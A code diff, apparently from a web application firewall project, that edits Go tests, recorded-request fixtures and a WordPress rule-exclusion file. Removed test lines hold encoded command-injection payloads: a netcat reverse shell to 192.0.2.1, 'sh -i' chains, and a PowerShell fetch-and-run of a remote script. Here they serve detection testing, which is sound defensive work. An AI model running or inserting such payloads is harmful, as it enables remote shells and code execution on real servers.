targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
|
for _, target := range append([]string{"/load.php?modules="}, mediawikiQueryFields...) {
|
||||||
|
|
||||||
for _, target := range targets {
|
|
||||||
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
t.Errorf("%s let through: %+v", target, got)
|
t.Errorf("%s let through: %+v", target, got)
|
||||||
@@ -325,34 +253,6 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
|
|
||||||
// holds no ";", "|", "&", backtick or "{", and only when the body sends
|
|
||||||
// it once.
|
|
||||||
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
|
||||||
|
|
||||||
for _, attack := range []string{
|
|
||||||
mediawikiCommandAttack,
|
|
||||||
"Example%0D%0A" + mediawikiCommandAttack,
|
|
||||||
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
|
|
||||||
"Example%0D%0A%24%28id%29",
|
|
||||||
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
|
|
||||||
"%3B%20sh%20-i",
|
|
||||||
"%26%26%20sh%20-i",
|
|
||||||
"%7C%7C%20sh%20-i",
|
|
||||||
"%60sh%20-i%60",
|
|
||||||
"%3B%20ls%20-la%20%2F",
|
|
||||||
"%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1",
|
|
||||||
"%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29",
|
|
||||||
"%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D",
|
|
||||||
} {
|
|
||||||
body := mediawikiWatchlist.field + attack
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
|
||||||
if got.Score < mediawikiThreshold {
|
|
||||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||||
@@ -389,14 +289,6 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
|
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// A watchlist holds the title on its second line, as recorded.
|
|
||||||
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
|
||||||
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
|
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
|
||||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -461,7 +353,6 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
{mediawikiEdit, "wpSummary=python3"},
|
{mediawikiEdit, "wpSummary=python3"},
|
||||||
{mediawikiSignIn, "wpPassword=python3"},
|
{mediawikiSignIn, "wpPassword=python3"},
|
||||||
{mediawikiProtect, "mwProtect-reason=.htaccess"},
|
{mediawikiProtect, "mwProtect-reason=.htaccess"},
|
||||||
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
|
|
||||||
{mediawikiAPI + "?action=edit", "text=python3"},
|
{mediawikiAPI + "?action=edit", "text=python3"},
|
||||||
} {
|
} {
|
||||||
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
|
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
|
||||||
|
|||||||
@@ -407,16 +407,6 @@
|
|||||||
{"method": "GET", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
{"method": "GET", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||||
{"method": "PATCH", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Content-Type: application/json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Edited: python3\"}]}"}
|
{"method": "PATCH", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Content-Type: application/json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Edited: python3\"}]}"}
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"new.person@example.com\"}"}
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"new.person@example.com\"}"}
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"example\"}"}
|
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"python3\"}"}
|
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
|
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
|
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
|
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"}
|
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"}
|
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"}
|
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"}
|
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"}
|
|
||||||
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||||
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
||||||
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||||
|
|||||||
@@ -565,38 +565,3 @@
|
|||||||
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
||||||
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
||||||
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
||||||
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALighthouse+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
|
|
||||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
|
|
||||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 161", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794271545%23fad50a8505bea134cc843d03608984cc; UseDC=master"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes%0D%0APowershell+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
|
|
||||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 179", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0ALs+-la+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
|
|
||||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 200", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALs+-la+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0A.htaccess+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
|
|
||||||
@@ -1,17 +1,10 @@
|
|||||||
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
|
# The ninth change: on WordPress's paths, some fields skip the rules that refused
|
||||||
# ordinary WordPress requests there. Each exclusion runs with the request, before
|
# ordinary WordPress requests there. Each exclusion runs with the request, before
|
||||||
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
# rules. Each comment names a request the rule refused. An exclusion on a field
|
# rules. Each comment names a request the rule refused. An exclusion on a field
|
||||||
# of a body applies only when the query has no parameter of that name, so it
|
# of a body applies only when the query has no parameter of that name, so it
|
||||||
# matters only while SWW_WAF_BODY_LIMIT is set.
|
# matters only while SWW_WAF_BODY_LIMIT is set.
|
||||||
|
|
||||||
# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is
|
|
||||||
# skipped. Inspect sets tx.app_wordpress when it does.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_wordpress itself.
|
|
||||||
SecRule &TX:app_wordpress "@eq 0" \
|
|
||||||
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
|
|
||||||
|
|
||||||
# WordPress takes a call to its REST API at any of four addresses:
|
# WordPress takes a call to its REST API at any of four addresses:
|
||||||
# /wp-json/wp/v2/posts/1
|
# /wp-json/wp/v2/posts/1
|
||||||
# /index.php/wp-json/wp/v2/posts/1
|
# /index.php/wp-json/wp/v2/posts/1
|
||||||
@@ -202,5 +195,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
|
|||||||
# so skips 932340 there.
|
# so skips 932340 there.
|
||||||
